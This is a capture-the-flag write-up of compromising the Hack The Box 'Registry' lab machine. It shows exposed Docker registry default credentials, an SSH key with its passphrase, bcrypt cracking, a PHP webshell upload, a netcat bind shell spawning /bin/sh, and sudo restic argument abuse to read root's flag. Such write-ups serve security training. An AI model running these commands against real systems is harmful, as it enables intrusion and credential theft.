Hello everyone and welcome to another CTF writeup!
We do the usual with our nmap scan and reveal port 22, 80 and 443. Port 443 reveals a subdomain for docker, so we might have a docker registry HTTP API running!
root@kali:~/Desktop/htb/Registry# nmap -sC -sV -o TCP_scan 10.10.10.159
Starting Nmap 7.80 ( https://nmap.org ) at 2020-02-15 18:54 EST
Nmap scan report for registry.htb (10.10.10.159)
Host is up (0.020s latency).
Not shown: 997 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 72:d4:8d:da:ff:9b:94:2a:ee:55:0c:04:30:71:88:93 (RSA)
| 256 c7:40:d0:0e:e4:97:4a:4f:f9:fb:b2:0b:33:99:48:6d (ECDSA)
|_ 256 78:34:80:14:a1:3d:56:12:b4:0a:98:1f:e6:b4:e8:93 (ED25519)
80/tcp open http nginx 1.14.0 (Ubuntu)
|_http-server-header: nginx/1.14.0 (Ubuntu)
|_http-title: Welcome to nginx!
443/tcp open ssl/http nginx 1.14.0 (Ubuntu)
|_http-server-header: nginx/1.14.0 (Ubuntu)
|_http-title: Welcome to nginx!
| ssl-cert: Subject: commonName=docker.registry.htb
| Not valid before: 2019-05-06T21:14:35
|_Not valid after: 2029-05-03T21:14:35
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 18.71 seconds
We run a dirbuster for both ports 80 and 443 and we find 2 directories and a file, /install, /bolt and /backup.php.
root@kali:~/Desktop/htb/Registry# cat DirBusterReport-10.10.10.159-80.txt
DirBuster 1.0-RC1 - Report
http://www.owasp.org/index.php/Category:OWASP_DirBuster_Project
Report produced on Sun Oct 20 15:08:18 EDT 2019
--------------------------------
http://10.10.10.159:80
--------------------------------
Directories found during testing:
Dirs found with a 200 response:
/
/install/
/bolt/
--------------------------------
Files found during testing:
Files found with a 200 responce:
/backup.php
--------------------------------
The php file /backup display's nothing, we keep this in note so that we can explore it later when we are going to have access to the machine. /bolt folder contains a simple CMS and searchsploit does reveal some exploits but we continue exploring the box.
The /install folder reveals only gibberish, we curl this raw data to analyze it:
root@kali:~/Desktop/htb/Registry# curl 10.10.10.159/install -L
Warning: Binary output can mess up your terminal. Use "--output -" to tell
Warning: curl to output it to your terminal anyway, or consider "--output
Warning: <FILE>" to save to a file.
The data reveals to be a gzip file, containing a ca.crt and a readme.md file giving us hints:
root@kali:~/Desktop/htb/Registry# curl 10.10.10.159/install -L --output install_output
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 194 100 194 0 0 5388 0 --:--:-- --:--:-- --:--:-- 5388
100 1050 0 1050 0 0 7094 0 --:--:-- --:--:-- --:--:-- 7094
root@kali:~/Desktop/htb/Registry# file install_output
install_output: gzip compressed data, last modified: Mon Jul 29 23:38:20 2019, from Unix, original size modulo 2^32 167772200 gzip compressed data, reserved method, has CRC, was "", from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 167772200
root@kali:~/Desktop/htb/Registry# mv install_output install.gzip
root@kali:~/Desktop/htb/Registry# zcat output_install.gz
ca.crt0000775000004100000410000000210613464123607012215 0ustar www-datawww-data-----BEGIN CERTIFICATE-----
MIIC/DCCAeSgAwIBAgIJAIFtFmFVTwEtMA0GCSqGSIb3DQEBCwUAMBMxETAPBgNV
BAMMCFJlZ2lzdHJ5MB4XDTE5MDUwNjIxMTQzNVoXDTI5MDUwMzIxMTQzNVowEzER
MA8GA1UEAwwIUmVnaXN0cnkwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIB
AQCw9BmNspBdfyc4Mt+teUfAVhepjje0/JE0db9Iqmk1DpjjWfrACum1onvabI/5
T5ryXgWb9kS8C6gzslFfPhr7tTmpCilaLPAJzHTDhK+HQCMoAhDzKXikE2dSpsJ5
zZKaJbmtS6f3qLjjJzMPqyMdt/i4kn2rp0ZPd+58pIk8Ez8C8pB1tO7j3+QAe9wc
r6vx1PYvwOYW7eg7TEfQmmQt/orFs7o6uZ1MrnbEKbZ6+bsPXLDt46EvHmBDdUn1
zGTzI3Y2UMpO7RXEN06s6tH4ufpaxlppgOnR2hSvwSXrWyVh2DVG1ZZu+lLt4eHI
qFJvJr5k/xd0N+B+v2HrCOhfAgMBAAGjUzBRMB0GA1UdDgQWBBTpKeRSEzvTkuWX
8/wn9z3DPYAQ9zAfBgNVHSMEGDAWgBTpKeRSEzvTkuWX8/wn9z3DPYAQ9zAPBgNV
HRMBAf8EBTADAQH/MA0GCSqGSIb3DQEBCwUAA4IBAQABLgN9x0QNM+hgJIHvTEN3
LAoh4Dm2X5qYe/ZntCKW+ppBrXLmkOm16kjJx6wMIvUNOKqw2H5VsHpTjBSZfnEJ
UmuPHWhvCFzhGZJjKE+An1V4oAiBeQeEkE4I8nKJsfKJ0iFOzjZObBtY2xGkMz6N
7JVeEp9vdmuj7/PMkctD62mxkMAwnLiJejtba2+9xFKMOe/asRAjfQeLPsLNMdrr
CUxTiXEECxFPGnbzHdbtHaHqCirEB7wt+Zhh3wYFVcN83b7n7jzKy34DNkQdIxt9
QMPjq1S5SqXJqzop4OnthgWlwggSe/6z8ZTuDjdNIpx0tF77arh2rUOIXKIerx5B
-----END CERTIFICATE-----
readme.md0000775000004100000410000000020113472260460012667 0ustar www-datawww-data# Private Docker Registry
- https://docs.docker.com/registry/deploying/
- https://docs.docker.com/engine/security/certificates/
gzip: output_install.gz: unexpected end of file
root@kali:~/Desktop/htb/Registry#
Continuing our exploration, we try to find more subdomains but without success:
wfuzz -H "Host : FUZZ.registry.htb" -u http://registry.htb/ -w /usr/share/dnsenum/dns.txt --hw 69
We proceed to docker.registry.htb/v2
to find out a 401 page, credentials admin:admin let us in, which is quite simple there.
We can proceed to list all the images in the registry by visiting /v2/_catalog
endpoint and download each blob so we can analyze that image locally.
root@kali:~/Desktop/htb/Registry# curl --user admin:admin docker.registry.htb/v2/_catalog
{"repositories":["bolt-image"]}
To verify which reference we have for this image:
root@kali:~/Desktop/htb/Registry# curl --user admin:admin docker.registry.htb/v2/bolt-image/tags/list
{"name":"bolt-image","tags":["latest"]}
According to docker registry manual, we can pull the image manifest sending a GET request to /v2/<name>/manifests/<reference>
, we then proceed to download each layer.
root@kali:~/Desktop/htb/Registry# curl --user admin:admin docker.registry.htb/v2/bolt-image/manifests/latest > bolt-image_manifest
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 7439 100 7439 0 0 207k 0 --:--:-- --:--:-- --:--:-- 207k
root@kali:~/Desktop/htb/Registry# head bolt-image_manifest
{
"schemaVersion": 1,
"name": "bolt-image",
"tag": "latest",
"architecture": "amd64",
"fsLayers": [
{
"blobSum": "sha256:302bfcb3f10c386a25a58913917257bd2fe772127e36645192fa35e4c6b3c66b"
},
{
[...snip...]
We can now fetch all blobs and form an image locally:
root@kali:~/Desktop/htb/Registry# cat blobs
sha256:302bfcb3f10c386a25a58913917257bd2fe772127e36645192fa35e4c6b3c66b
sha256:3f12770883a63c833eab7652242d55a95aea6e2ecd09e21c29d7d7b354f3d4ee
sha256:02666a14e1b55276ecb9812747cb1a95b78056f1d202b087d71096ca0b58c98c
sha256:c71b0b975ab8204bb66f2b659fa3d568f2d164a620159fc9f9f185d958c352a7
sha256:2931a8b44e495489fdbe2bccd7232e99b182034206067a364553841a1f06f791
sha256:a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
sha256:f5029279ec1223b70f2cbb2682ab360e1837a2ea59a8d7ff64b38e9eab5fb8c0
sha256:d9af21273955749bb8250c7a883fcce21647b54f5a685d237bc6b920a2ebad1a
sha256:8882c27f669ef315fc231f272965cd5ee8507c0f376855d6f9c012aae0224797
sha256:f476d66f540886e2bb4d9c8cc8c0f8915bca7d387e536957796ea6c2f8e7dfff
root@kali:~/Desktop/htb/Registry# mkdir bolt-image_blobs
root@kali:~/Desktop/htb/Registry# cd ./bolt-image_blobs/
root@kali:~/Desktop/htb/Registry/bolt-image_blobs# curl --user "admin:admin" docker.registry.htb/v2/bolt-image/blobs/sha256:302bfcb3f10c386a25a58913917257bd2fe772127e36645192fa35e4c6b3c66b --output blob1
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 335 100 335 0 0 4718 0 --:--:-- --:--:-- --:--:-- 4785
root@kali:~/Desktop/htb/Registry/bolt-image_blobs# curl --user "admin:admin" docker.registry.htb/v2/bolt-image/blobs/sha256:302bfcb3f10c386a25a58913917257bd2fe772127e36645192fa35e4c6b3c66b --output blob1.tar.gz
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 335 100 335 0 0 4407 0 --:--:-- --:--:-- --:--:-- 4407
root@kali:~/Desktop/htb/Registry/bolt-image_blobs# tar -xvf blob1.tar.gz
etc/
etc/profile.d/
etc/profile.d/01-ssh.sh
etc/profile.d/.wh.02-ssh.sh
root@kali:~/Desktop/htb/Registry/bolt-image_blobs#
[...snip...]
We have the full docker root file system of the container:
root@kali:~/Desktop/htb/Registry/bolt-image_blobs# ls -la
total 84
drwxr-xr-x 21 root root 4096 Feb 16 13:22 .
drwxr-xr-x 3 root root 4096 Feb 16 13:08 ..
drwxr-xr-x 2 root root 4096 Apr 24 2019 bin
drwxr-xr-x 2 root root 4096 Apr 24 2018 boot
drwxr-xr-x 4 root root 4096 Apr 24 2019 dev
drwxr-xr-x 48 root root 4096 Apr 24 2019 etc
drwxr-xr-x 2 root root 4096 Apr 24 2018 home
drwxr-xr-x 8 root root 4096 May 23 2017 lib
drwxr-xr-x 2 root root 4096 Apr 24 2019 lib64
drwxr-xr-x 2 root root 4096 Apr 24 2019 media
drwxr-xr-x 2 root root 4096 Apr 24 2019 mnt
drwxr-xr-x 2 root root 4096 Apr 24 2019 opt
drwxr-xr-x 2 root root 4096 Apr 24 2018 proc
drwx------ 3 root root 4096 Apr 24 2019 root
drwxr-xr-x 7 root root 4096 Apr 26 2019 run
drwxr-xr-x 2 root root 4096 Apr 24 2019 sbin
drwxr-xr-x 2 root root 4096 Apr 24 2019 srv
drwxr-xr-x 2 root root 4096 Apr 24 2018 sys
drwxrwxrwt 2 root root 4096 Apr 24 2019 tmp
drwxr-xr-x 10 root root 4096 Apr 24 2019 usr
drwxr-xr-x 12 root root 4096 Apr 24 2019 var
We have a ssh private key /root/.ssh
as well as the password for the key in /etc/profile.d/02-ssh.sh
, we then proceed to login as bolt:
root@kali:~/Desktop/htb/Registry/bolt-image_blobs/root/.ssh# ls -la
total 24
drwxr-xr-x 2 root root 4096 May 24 2019 .
drwx------ 3 root root 4096 Apr 24 2019 ..
-rw-r--r-- 1 root root 60 May 24 2019 config
-rw------- 1 root root 3326 May 24 2019 id_rsa
-rw-r--r-- 1 root root 743 May 24 2019 id_rsa.pub
-rw-r--r-- 1 root root 444 May 24 2019 known_hosts
root@kali:~/Desktop/htb/Registry/bolt-image_blobs/root/.ssh# cat ../../etc/profile.d/02-ssh.sh
#!/usr/bin/expect -f
#eval `ssh-agent -s`
spawn ssh-add /root/.ssh/id_rsa
expect "Enter passphrase for /root/.ssh/id_rsa:"
send "GkOcz221Ftb3ugog\n";
expect "Identity added: /root/.ssh/id_rsa (/root/.ssh/id_rsa)"
interact
root@kali:~/Desktop/htb/Registry# ssh -i id_rsa bolt@registry.htb
The authenticity of host 'registry.htb (10.10.10.159)' can't be established.
ECDSA key fingerprint is SHA256:G1J5ek/T6KuCCT7Xp2IN1LUslRt24mhmhKUo/kWWVrs.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'registry.htb,10.10.10.159' (ECDSA) to the list of known hosts.
Enter passphrase for key 'id_rsa':
Enter passphrase for key 'id_rsa':
Welcome to Ubuntu 18.04.3 LTS (GNU/Linux 4.15.0-65-generic x86_64)
System information as of Sun Feb 16 18:31:40 UTC 2020
System load: 0.02 Users logged in: 1
Usage of /: 6.1% of 61.80GB IP address for eth0: 10.10.10.159
Memory usage: 33% IP address for docker0: 172.17.0.1
Swap usage: 0% IP address for br-1bad9bd75d17: 172.18.0.1
Processes: 168
Last login: Sun Feb 16 18:25:03 2020 from 10.10.15.99
bolt@bolt:~$
We find no interesting privilege escalation vector, we consider pivoting to www-data user since we still have that /backup.php file is readable by everyone but only executable by root user.
In /var/www/bolt/app/database
we find bolt.db that contains an encrypted password:
root@kali:~/Desktop/htb/Registry# john --wordlist=/usr/share/wordlists/rockyou.txt hash
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 1024 for all loaded hashes
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
strawberry (admin)
1g 0:00:00:11 DONE (2020-02-16 13:50) 0.08525g/s 29.15p/s 29.15c/s 29.15C/s strawberry..ihateyou
Use the "--show" option to display all of the cracked passwords reliably
Session completed
We proceed to login as an admin in the Bolt CMS, where we use the File Management Tool to upload our reverse php shell. We first modify the config.yml to enable us uploading php files.
However we can't obtain a shell, we only have timeouts. In that case there is clearly a something blocking the setup of external connections, we can try uploading a backdoor instead and we gain access as www-data:
root@kali:~/Desktop/htb/Registry# cat oneliner.php
<?php if(isset($_REQUEST['cmd'])){ echo "<pre>"; - REMOVED ONE LINER BECAUSE YOUR ANTI-VIRUS MIGHT FLAG THIS WEBSITE - system($cmd); echo "</pre>"; die; }?>
root@kali:~/Desktop/htb/Registry#
A problem we have however is that the our files keep getting deleted every minute in this directory. We simply create a new directory in /html/bolt/, set permission to 777, so we can edit it as bolt, and copy our webshell there.
An easier way to maintain an access to the box is to have a bind shell. We use nc
in listener mode. Since there's a firewall or an entity blocking outgoing connections, consequently blocking all our attempts at a reverse shell, we simply create a bind shell with nc
.
Fortunately we have it on the victim's machine. We use our webshell to run netcat by making a GET request to:
http://registry.htb/bolt/mywayin/webshell.php?cmd=nc.traditional%20-lp%209999%20-e%20/bin/sh
In our attacker machine:
root@kali:~/Desktop/htb/Registry# nc 10.10.10.159 9999
whoami
www-data
python -c "import pty; pty.spawn('/bin/sh');"
$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
To privesc, we find the a command that we can run as a privileged user with www-data:
$ sudo -l
sudo -l
Matching Defaults entries for www-data on bolt:
env_reset, exempt_group=sudo, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User www-data may run the following commands on bolt:
(root) NOPASSWD: /usr/bin/restic backup -r rest*
It can't be simpler than that, we can append an argument to this command:
$ sudo /usr/bin/restic backup -r rest* --files-from /root/root.txt
sudo /usr/bin/restic backup -r rest* --files-from /root/root.txt
/var/ntrkzgnkotaxyju0ntrinda4yzbkztgw does not exist, skipping
Fatal: all target directories/files do not exist
And we got the root flag!
There were many things that were still not explored in this machine, such as the 2 other servers 172.17.0.1 and 172.18.0.1. Both of them ping back, but we did not put any effort to explore them. Obtaining root flag on this box was surprisingly simple, as it just required us to abuse a command as a privileged user.
However obtaining the root user is something different, we would have to setup our own repo with a script that opens a shell, and append an argument to the above command to make a backup at our repo, executing the malicious script.
To summarize, we found an exposed unsafe endpoint to a docker HTTP API with default credentials, that let us download a container which had an ssh key as well as credentials for the user. Exploring the box with this user we found a database file in Bolt CMS /app/database/ folder and found a encrypted password that we successfully cracked. In turn we got the credentials for the Bolt CMS as admin. From there we get a shell as www-data, however a firewall blocked outgoing connections so a simple bind shell let us execute code as www-data. This user had the power to execute a restic backup as root, and we abused this command to ex-filtrate the root.txt flag.
Thanks for reading!